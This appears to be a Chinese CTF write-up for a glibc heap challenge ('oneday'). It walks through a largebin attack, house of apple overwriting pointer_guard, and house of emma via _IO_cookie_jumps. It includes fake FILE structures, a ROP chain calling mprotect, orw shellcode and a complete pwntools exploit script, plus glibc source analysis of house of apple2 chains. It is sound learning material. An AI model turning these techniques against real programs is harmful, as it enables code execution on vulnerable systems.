Liyck

“路漫漫其修远兮,吾将上下而求索”

heap的IO链学习

house of apple学习

该题目大佬利用了house of emma和house of apple的组合攻击,最终实现了orw读取flag,在这里主要困难的点在于这里的edit也就修改chunk中的步骤只能一次,所以没办法直接利用house of emma(因为house of emma需要两次large bin attack,首先攻击pointer_guard将其修改为已知内容,第二攻击是攻击_IO_list_all,将其进行挟持到堆上,这样就可以控制FIFE的结构,实现最终的攻击效果),因此由于本题只能一次修改,没办法构成两次写,所以想到利用house of apple 可以实现pointer_guard进行覆盖为一个已知的值,这样在利用chain的值指向之后伪造的第二个file结构,对于这个结构可以实现house of emma的攻击方式,最终实现orw攻击

查io链fpchain

house of apple

house of apple的攻击原理,简单来说就是利用了_IO_wstrn_overflow这个函数,通过利用file的结构,这个函数可以覆盖传入fp->_wide_data上的地址覆盖为可以知道的堆地址,攻击效果和进行一次large bin attack一样,实现任意地址写已知地址。

1
2
3
4
exit()/fcloseall()
  -> _IO_cleanup()
    -> _IO_flush_all_lockp()
      ->  _IO_list_all 链表里每个 FILE 调用 vtable->_overflow或其它 vtable 函数

_IO_FILE_plus结构体偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
amd64
 
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'

首先上_IO_list_all的函数

image-20251009171646347

0x7ca9cdff3660 是全局变量 __GI__IO_list_all 的地址(也就是存指针的地方)

0x7ca9cdff3680 是实际的 FILE 对象(_IO_2_1_stderr_)所在地址

原结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> p *(struct _IO_FILE_plus*) 0x7ca9cdff3680
$3 = {
  file = {
    _flags = -72540025,
    _IO_read_ptr = 0x7ca9cdff3703 <_IO_2_1_stderr_+131> "",
    _IO_read_end = 0x7ca9cdff3703 <_IO_2_1_stderr_+131> "",
    _IO_read_base = 0x7ca9cdff3703 <_IO_2_1_stderr_+131> "",
    _IO_write_base = 0x7ca9cdff3703 <_IO_2_1_stderr_+131> "",
    _IO_write_ptr = 0x7ca9cdff3703 <_IO_2_1_stderr_+131> "",
    _IO_write_end = 0x7ca9cdff3703 <_IO_2_1_stderr_+131> "",
    _IO_buf_base = 0x7ca9cdff3703 <_IO_2_1_stderr_+131> "",
    _IO_buf_end = 0x7ca9cdff3704 <_IO_2_1_stderr_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ca9cdff3760 <_IO_2_1_stdout_>,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7ca9cdff5720 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7ca9cdff2880 <_IO_wide_data_2>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ca9cdff4560 <__GI__IO_file_jumps>
}

修改后:

image-20251009173545948

fake_IO_FILE_plus(house of apple2):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> p *(struct _IO_FILE_plus*) 0x599c8d7a9810
$20 = {
  file = {
    _flags = -1921343488,
    _IO_read_ptr = 0xa81 <error: Cannot access memory at address 0xa81>,
    _IO_read_end = 0x7ca9cdff3250 <main_arena+1520> "@2\377ͩ|",
    _IO_read_base = 0x599c8d7a97e0 "",
    _IO_write_base = 0x599c8d7a97e0 "",
    _IO_write_ptr = 0x7ca9cdff3640 <_nl_global_locale+224> "\255a\373ͩ|",
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x599c8d7a9a00 " ",
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7ca9cdff5720 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x599c8d7a98f0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ca9cdff4020 <__GI__IO_wfile_jumps>
}

house of emma

这里主要利用了在fflush(stderr),这个函数会稳定的调用_IO_file_jumps中的sync,如果我们把这个指针伪造成之前提到的pcop的gadget也就是

mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

我们就可以实现rdx,而且call对应的函数,这里一般为setcontext+61,但是这篇文章是将其call mprotect函数,这样就可以增加可执行权限,之后直接执行orw的shellcode就可以了,原理一样的

程序主逻辑,具备增删改查功能,最小申请堆的大小为key*0x110,限定创建堆块的大小都是large bin中的

image-20250927131001692

add函数

image-20250927124257205

没有堆溢出,有申请三种方式,申请空间有key,key+0x10,2*key三种

delete函数

image-20250927124444733

存在UAF漏洞

edit函数

image-20250927125050995

只有一次写入机会

show函数

image-20250927130802749

只有一次泄露的机会

利用步骤

1.利用一次write泄露出libc和heapbase

2.构造一次largebin attack,修改_IO_list_all为一个堆地址

3.利用house of apple修改pointer_guard的值为已知地址

4.利用house of emma控制rsp

5.执行orw读取flag

堆风水的构造

由于我们只能任意修改一次的chunk内容,所以如果我们想要进行large bin attack攻击形成任意地址写一个堆地址,又在这个堆地址内完成对于fake file的构造,就需要我们完成以下的chunk构造,借用roderick01师傅的图。只有只有我们才能在伪造bk_nextsize的同时修改size为并且伪造fakechunk实现house of apple和house of emma的攻击。

991890_KJZFC3WC96BZZ89

关于这个堆风水的布局,我之前一直很疑惑,为什么add(small),add(meidum),add(large)有这么多差别???

后面学习了很多博主和gpt分析后,我大致理解了原理

我们的目的就是构造三个chunk的布局

1
2
3
4
5
chunk1 = heap_addr + 0x24

chunk2 = heap_addr + 0x34

chunk3 = heap_addr + 0x54

如何构造的呢?

首先我们可以分配的chunk的大小是key,key+0x10,2*key,然后依照大佬方式设置的key为0xa

先设x = key+0x10,y = key +0x10+0x10,z = 2*key+0x10 ,我们可以得到一些关系,

1
2
3
4
5
2 * x = 2 * (0xa+0x10) = 0x34

2 * y = 2 * (0xa+0x20) = 0x54

z = 2 * 0xa +0x20 = 0x24

这意味着什么呢?就是我们分配2个small大小的堆,下个堆块指针指向的是chunk2的位置,分配2个meidum大小的堆块,下个堆块指向的是chunk3的位置,分配1个large大小的堆块,下个堆块指向的是chunk1的指针,然后由于后面删除的是unsortbin,导致和没分配一样的,就可以进行堆风水构造

那么合理利用堆风水就可以构造出三个重叠的堆块:

(从上至下顺序为:large+small,2small+small,2medium+small)

继而可以修改堆块A的bk_nextsize指针并伪造一个堆块B,这样再进行largebin attack的时候就既可以任意地址写一个堆地址,也可以控制写的堆地址所在chunk的内容,从而构造fake file结构体。

代码分析

第一次堆风水,布置上面的大佬图中的chunk3(也就是代码里的2),两个meidum+small

1
2
3
4
5
6
add(2) #0
add(2) #1
add(1) #2
dele(2)
dele(1)
dele(0)

第二次堆风水,布置大佬图中的chunk2(也就是代码里的5),两个small+small

1
2
3
4
5
6
add(1) #3
add(1) #4
add(1) #5
add(1) #6
dele(3)
dele(5)

释放堆块3和堆块5进入unsortbin,可以泄露的了libc基址和heap基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(1) #3
add(1) #4
add(1) #5
add(1) #6
dele(3)
dele(5)
show(3)

ru(b'Message: \n')
libc_base = uu64() - 0x1f2cc0
lg(b'libc_base',libc_base)
io.recv(2)
heap_base = uu64() - 0x17f0
lg(b'heap_base',heap_base)

image-20250927150807688

关于TLS段的本地pointer_guard

关于TLS段的本地pointer_guard怎么找,有个很恶心的点,就是在以前系统内核版本不高的时候,你可以用libc_base去直接得到pointer_guard的地址的,但是现在反正我无法像roderick01师傅一样,用他们打的时候的tls段就在libc基址前面一点,现在不行,已经调试过n遍,一直都会变的,和libc基址没关系了,pointer_guard的地址,与ld基地址偏移是固定的,而与libc基地址的偏移不固定。 所以在本地调试过程中,需要关闭aslr,才能获得与libc基地址的固定偏移,当打远程的题目时,则需要爆破。

方法1:fsbase+0x30(tls+0x30)

image-20250927151958873

方法2:

image-20250927152213919

第三次堆风水,布置大佬图中的chunk1(也就是代码里的8)

1
2
3
4
5
6
7
dele(4)
dele(6)
add(3) #7
add(1) #8
add(1) #8
dele(8)
add(3)

解释一下,dele(8)是为了先free掉我们的提到的chunk2,,当 malloc 在找合适块时,它会遍历 unsorted 的条目,会优先检查 unsorted bin。如果某个 unsorted 条目正好或可以分割出一个满足请求的小块,malloc 会用它(并把剩下的部分重新插回合适的 bin)。如果某个条目太大/不能直接用来划分,malloc 会把它按大小插入到 largebin(或者 smallbin,视大小而定),以便下次快速匹配,然后add(3)这么大的堆块需要0x1550的大小,而前面的unsorted bin只有0xab0大小,所以malloc会把原来的unsorted bin插入large bin里去,然后从top chunk里分配给新的堆块

image-20250927164516266

1
2
3
4
edit(5,data)
dele(2)
add(3)
exit()

触发largebin attack之后修改成功了,可以修改chunk8的bk_nextsize为_IO_list_all,,并且chunk2是0x810,于是我们同时将chunk2的size修改,从而伪造一个chunk进行释放,那么想一下,这里触发的largebin attack正好将_IO_list_all修改为这个伪造的chunk,那么我们继续往下写的话,那相当于就是对伪造的_IO_list_all进行填充,那我们就实现了任意控制__IO_list_all了。

image-20250927170229570

伪造后的file表结构

(这个是修改pointer_guard)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> p *(struct _IO_FILE_plus*) 0x555555606810
$2 = {
  file = {
    _flags = 0,
    _IO_read_ptr = 0xa81 <error: Cannot access memory at address 0xa81>,
    _IO_read_end = 0x7ffff7df2cc0 <main_arena+96> "\220\222`UUU",
    _IO_read_base = 0x7ffff7df2cc0 <main_arena+96> "\220\222`UUU",
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x555555606910,
    _fileno = 0,
    _flags2 = 8,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7ffff7df5720 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7fc4630, //这个是pointer_guard所在的堆地址
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7df3d20 <_IO_wstrn_jumps>
}

我们把chain改成了0x910,vtable改成了_IO_wstrn_jumps(跳转到_IO_wstrn_overflow),接着看一下0x910这个fake file结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pwndbg> p *(struct _IO_cookie_file*) 0x555555606910
$4 = {
  __fp = {
    file = {
      _flags = 0,
      _IO_read_ptr = 0x0,
      _IO_read_end = 0x0,
      _IO_read_base = 0x0,
      _IO_write_base = 0x0,
      _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
      _IO_write_end = 0x0,
      _IO_buf_base = 0x0,
      _IO_buf_end = 0x0,
      _IO_save_base = 0x0,
      _IO_backup_base = 0x0,
      _IO_save_end = 0x0,
      _markers = 0x0,
      _chain = 0x0,
      _fileno = 0,
      _flags2 = 8,
      _old_offset = -1,
      _cur_column = 0,
      _vtable_offset = 0 '\000',
      _shortbuf = "",
      _lock = 0x7ffff7df5720 <_IO_stdfile_2_lock>,
      _offset = -1,
      _codecvt = 0x0,
      _wide_data = 0x0,
      _freeres_list = 0x0,
      _freeres_buf = 0x0,
      __pad5 = 0,
      _mode = 0,
      _unused2 = '\000' <repeats 19 times>
    },
    vtable = 0x7ffff7df3b38 <_IO_cookie_jumps+88>
  },
  __cookie = 0x555555606a10,
  __io_functions = {
    read = 0x5555456812400000,
    write = 0x6661616566616164,
    seek = 0x6661616766616166,
    close = 0x7ffff7cfd449 <__lockf64+73>
  }
}

image-20250927195240837

然后又将rbp的值给rdx,这里就将pointer_guard的值给修改了。而rbp就是f1._wide_data = guard

传入的值,这里修改了point_guard的值

然后继续执行下一个fake file结构体

image-20250927195811077

进行加密操作

image-20250927200029033

加密后正好执行我们的gadget

image-20250927200511852

image-20250927201152950

后面就开始执行rop链了

image-20250925200800931

可以知道为什么target_addr的地址要加0x20,因为经过call qword ptr [rax + 0x18]后,可以直接调用_IO_cookie_read函数

拿到flag

image-20250927201315427

关于第一个IO结构体的_chain地址为什么是chain = heap_base + 0x17e0 + 0x30 + 0x100,因为第一个large bin距离heapbase的偏移是0x17e0,然后由于分配2个medium大小的chunk后的下一个指向的chunk3,与chunk1的偏移是0x30(0x54-0x24),上文提到过,然后f1与f2的距离有0x100的偏移,所以说___chain的地址就是f2的地址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
from pwn import *
from pwncli import* 
from ctypes import *

pwn = './oneday'
libc = ELF("./libc.so.6")
if args['REMOTE']:
    io = remote('192.168.18.22', 8888)
else:
    io = process(pwn)
    #io = process(['setarch','$(uname -m)','-R','./oneday'])

context(log_level='debug')
#context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
inter = lambda: io.interactive()

l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu32_hex = lambda: int(io.recvuntil(b'0x', drop=True) + r(8), 16)
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
uu64_hex = lambda: int(io.recvuntil(b'0x', drop=True) + r(12), 16)
uuu64 = lambda: u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
uuuu64 = lambda target: u64((ru(target)[-1:] + r(5)).ljust(8, b'\x00'))

int16 = lambda data: int(data, 16)

lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def get_orw():
    return libc_base + libc.sym['open'], libc_base + libc.sym['read'], libc_base + libc.sym['write']

def debug(breakpoints=None):
    if breakpoints is None:
        breakpoints = ["__call_tls_dtors"]
    elif isinstance(breakpoints, str):
        breakpoints = [breakpoints]
    script = ""
    for bp in breakpoints:
        script += f"{bp}\n"
    gdb.attach(proc.pidof(io)[0], script)
    pause()

def fmt(value, offset=14, size='hhn'):
    if size == 'hhn':
        num = value & 0xff
    elif size == 'hn':
        num = value & 0xffff
    elif size == 'n':
        num = value & 0xffffffff
    payload = f'%{num}c%{offset}${size}'.encode()
    #value 是格式化字符串偏移          
    return payload

lss = lambda s: log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def cat_flag():
    flag_header = b'flag{'
    sleep(1)
    sl('cat flag')
    ru(flag_header)
    flag = flag_header + ru('}') + b'}'
    exit(0)

#asm(shellcraft.sh()).ljust(0x108,b'a')

def set_key(key):
    sla(b'key >>\n',str(key))

def add(choise):
   sla(b'command:',b'1')
   sla(b'choise: ',str(choise))

def dele(idx):
    sla(b'command: \n',b'2')
    sla(b'Index: ',str(idx))

def edit(idx,commend):
    sla(b'command:',b'3')
    sla(b'Index: ',str(idx))
    sa(b'Message: \n',commend)
def show(idx):
    sla(b'command:',b'4')   
    sla(b'Index: ',str(idx))
   
def exit():
    sla(b'command:',b'6')  

set_key(10)
debug("call (void)signal(SIGALRM, SIG_IGN)") 
add(2) #0
add(2) #1
add(1) #2
dele(2)
dele(1)
dele(0)

add(1) #3
add(1) #4
add(1) #5
add(1) #6

dele(3)
dele(5)
show(3)

ru(b'Message: \n')
libc_base = uu64() - 0x1f2cc0
lg(b'libc_base',libc_base)
io.recv(2)
heap_base = uu64() - 0x17f0
lg(b'heap_base',heap_base)


dele(4)
dele(6)
add(3) #7
add(1) #8
add(1) #9
pause()
dele(8)
add(3)

target_addr = libc_base + libc.sym['_IO_list_all'] 
lg(b'_IO_list_all',target_addr)
_IO_cookie_jumps = libc_base + 0x1f3ae0
_IO_wstrn_jumps = libc_base + 0x1f3d20
_IO_stdfile_1_lock = libc_base + 0x1f5720
__pointer_chk_guard_local = libc_base + 0x3c4630
magic = libc_base + 0x146020
chain = heap_base + 0x17e0 + 0x30 + 0x100
expected = heap_base + 0x17e0 + 0x20 +0x100 

mov_rsp_rdx = libc_base + 0x56530
add_rsp_0x20_pop_rbx = libc_base + 0xfd449
pop_rdi = libc_base + 0x2daa2
pop_rsi = libc_base + 0x37c0a
pop_rdx_rbx = libc_base + 0x87729 

f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._lock = _IO_stdfile_1_lock
f1._mode = 0
f1._wide_data = __pointer_chk_guard_local
f1.vtable = _IO_wstrn_jumps

f2 = IO_FILE_plus_struct()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._mode = 0
f2._lock = _IO_stdfile_1_lock
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps +0x58


data = flat(
    {
    0x8: target_addr-0x20,
    0x10: {
         0:{
           0:bytes(f1),
           0x100:{
               0:bytes(f2),
               0xe0:[chain + 0x100,rol(magic ^ expected,0x11)],
               0x100:[
                   add_rsp_0x20_pop_rbx,
                   chain + 0x100,
                   0,
                   0,
                   mov_rsp_rdx,
                   0,
                   pop_rdi,
                   chain & ~0xfff,
                   pop_rsi,
                   0x4000,
                   pop_rdx_rbx,
                   7,0,
                   libc_base + libc.sym["mprotect"],
                   chain + 0x200,#存放orw的rop链的堆地址
               ],
          
           0x200:asm(shellcraft.open('./flag',0)
            +shellcraft.read(3,heap_base,0x100)+shellcraft.write(1,heap_base,0x100)),     
                 }
            },
            0xa80:[0,0xab1]
    }
}
)
f1_addr = heap_base + 0x1810
f2_addr = heap_base + 0x1910

# x = 0xa + 0x10 = 0x1a
# y = 0xa + 0x10 + 0x10 = 0x2a
# z = 2 * 0xa + 0x10 = 0x24  


#chunk1_addr = f1_addr - 0X10 + 0x24
#chunk2_addr = f1_addr - 0X10 + 0x34
#chunk3_addr = f1_addr - 0x10 + 0x54 

lg(b'f1_addr',f1_addr)
lg(b'f2_addr',f2_addr)

edit(5,data)
dele(2)
pause()
add(3)
exit()
inter()

house of apple2

利用条件

使用house of apple2的条件为:

利用原理

stdin/stdout/stderr这三个_IO_FILE结构体使用的是_IO_file_jumps这个vtable,而当需要调用到vtable里面的函数指针时,会使用宏去调用。以_IO_file_overflow调用为例,glibc中调用的代码片段分析如下

1
2
3
4
5
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
 
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
 
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

其中,IO_validate_vtable函数负责检查vtable的合法性,会判断vtable的地址是不是在一个合法的区间。如果vtable的地址不合法,程序将会异常终止。

观察struct _IO_wide_data结构体,发现其对应有一个_wide_vtable成员。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;    /* Start of putback+get area. */
  wchar_t *_IO_write_base;    /* Start of put area. */
  wchar_t *_IO_write_ptr;    /* Current put pointer. */
  wchar_t *_IO_write_end;    /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;    /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */
  
  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
  wchar_t _shortbuf[1];
  const struct _IO_jump_t *_wide_vtable;
};

在调用_wide_vtable虚表里面的函数时,同样是使用宏去调用,仍然以vtable->_overflow调用为例,所用到的宏依次为:

1
2
3
4
5
6
7
8
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
 
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
 
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
 
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

可以看到,在调用_wide_vtable里面的成员函数指针时,没有关于vtable的合法性检查

因此,我们可以劫持IO_FILEvtable_IO_wfile_jumps,控制_wide_data为可控的堆地址空间,进而控制_wide_data->_wide_vtable为可控的堆地址空间。控制程序执行IO流函数调用,最终调用到_IO_Wxxxxx函数即可控制程序的执行流。

利用思路

目前在glibc源码中搜索到的_IO_WXXXXX系列函数的调用只有_IO_WSETBUF_IO_WUNDERFLOW_IO_WDOALLOCATE_IO_WOVERFLOW。 其中_IO_WSETBUF_IO_WUNDERFLOW目前无法利用或利用困难,其余的均可构造合适的_IO_FILE进行利用。这里给出我总结的几条比较好利用的链。以下使用fp指代_IO_FILE结构体变量。

利用_IO_wfile_overflow函数控制程序执行流

fp的设置如下:

函数的调用链如下:

1
2
3
4
_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

详细分析如下: 首先看_IO_wfile_overflow函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
    {
      _IO_wdoallocbuf (f);// 需要走到这里
      // ......
    }
    }
}

需要满足f->_flags & _IO_NO_WRITES == 0并且f->_flags & _IO_CURRENTLY_PUTTING == 0f->_wide_data->_IO_write_base == 0

然后看_IO_wdoallocbuf函数:

1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
             fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

需要满足fp->_wide_data->_IO_buf_base != 0fp->_flags & _IO_UNBUFFERED == 0

利用_IO_wfile_underflow_mmap函数控制程序执行流

fp的设置如下:

函数的调用链如下:

1
2
3
4
_IO_wfile_underflow_mmap
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

详细分析如下: 看_IO_wfile_underflow_mmap函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
  struct _IO_codecvt *cd;
  const char *read_stop;
 
  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;
 
  cd = fp->_codecvt;
 
  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr >= fp->_IO_read_end
      /* No.  But maybe the read buffer is not fully set up.  */
      && _IO_file_underflow_mmap (fp) == EOF)
    /* Nothing available.  _IO_file_underflow_mmap has set the EOF or error
       flags as appropriate.  */
    return WEOF;
 
  /* There is more in the external.  Convert it.  */
  read_stop = (const char *) fp->_IO_read_ptr;
 
  if (fp->_wide_data->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_wide_data->_IO_save_base != NULL)
    {
      free (fp->_wide_data->_IO_save_base);
      fp->_flags &= ~_IO_IN_BACKUP;
    }
      _IO_wdoallocbuf (fp);// 需要走到这里
    }
    //......
}

需要设置fp->_flags & _IO_NO_READS == 0,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end,设置fp->_IO_read_ptr < fp->_IO_read_end不进入调用,设置fp->_wide_data->_IO_buf_base == NULLfp->_wide_data->_IO_save_base == NULL

利用_IO_wdefault_xsgetn函数控制程序执行流

这条链执行的条件是调用到_IO_wdefault_xsgetn时rdx寄存器,也就是第三个参数不为0。如果不满足这个条件,可选用其他链。

fp的设置如下:

函数的调用链如下:

1
2
3
4
5
_IO_wdefault_xsgetn
    __wunderflow
        _IO_switch_to_wget_mode
            _IO_WOVERFLOW
                *(fp->_wide_data->_wide_vtable + 0x18)(fp)

详细分析如下: 首先看_IO_wdefault_xsgetn函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
size_t
_IO_wdefault_xsgetn (FILE *fp, void *data, size_t n)
{
  size_t more = n;
  wchar_t *s = (wchar_t*) data;
  for (;;)
    {
      /* Data available. */
      ssize_t count = (fp->_wide_data->_IO_read_end
                       - fp->_wide_data->_IO_read_ptr);
      if (count > 0)
    {
      if ((size_t) count > more)
        count = more;
      if (count > 20)
        {
          s = __wmempcpy (s, fp->_wide_data->_IO_read_ptr, count);
          fp->_wide_data->_IO_read_ptr += count;
        }
      else if (count <= 0)
        count = 0;
      else
        {
          wchar_t *p = fp->_wide_data->_IO_read_ptr;
          int i = (int) count;
          while (--i >= 0)
        *s++ = *p++;
          fp->_wide_data->_IO_read_ptr = p;
            }
            more -= count;
        }
      if (more == 0 || __wunderflow (fp) == WEOF)
    break;
    }
  return n - more;
}
libc_hidden_def (_IO_wdefault_xsgetn)

由于more是第三个参数,所以不能为0。 直接设置fp->_wide_data->_IO_read_ptr == fp->_wide_data->_IO_read_end,使得count0,不进入if分支。 随后当more != 0时会进入__wunderflow

接着看__wunderflow

1
2
3
4
5
6
7
8
9
10
11
12
13
wint_t
__wunderflow (FILE *fp)
{
  if (fp->_mode < 0 || (fp->_mode == 0 && _IO_fwide (fp, 1) != 1))
    return WEOF;
 
  if (fp->_mode == 0)
    _IO_fwide (fp, 1);
  if (_IO_in_put_mode (fp))
    if (_IO_switch_to_wget_mode (fp) == EOF)
      return WEOF;
    // ......
}

要想调用到_IO_switch_to_wget_mode,需要设置fp->mode > 0,并且fp->_flags & _IO_CURRENTLY_PUTTING != 0

然后在_IO_switch_to_wget_mode函数中:

1
2
3
4
5
6
7
8
int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
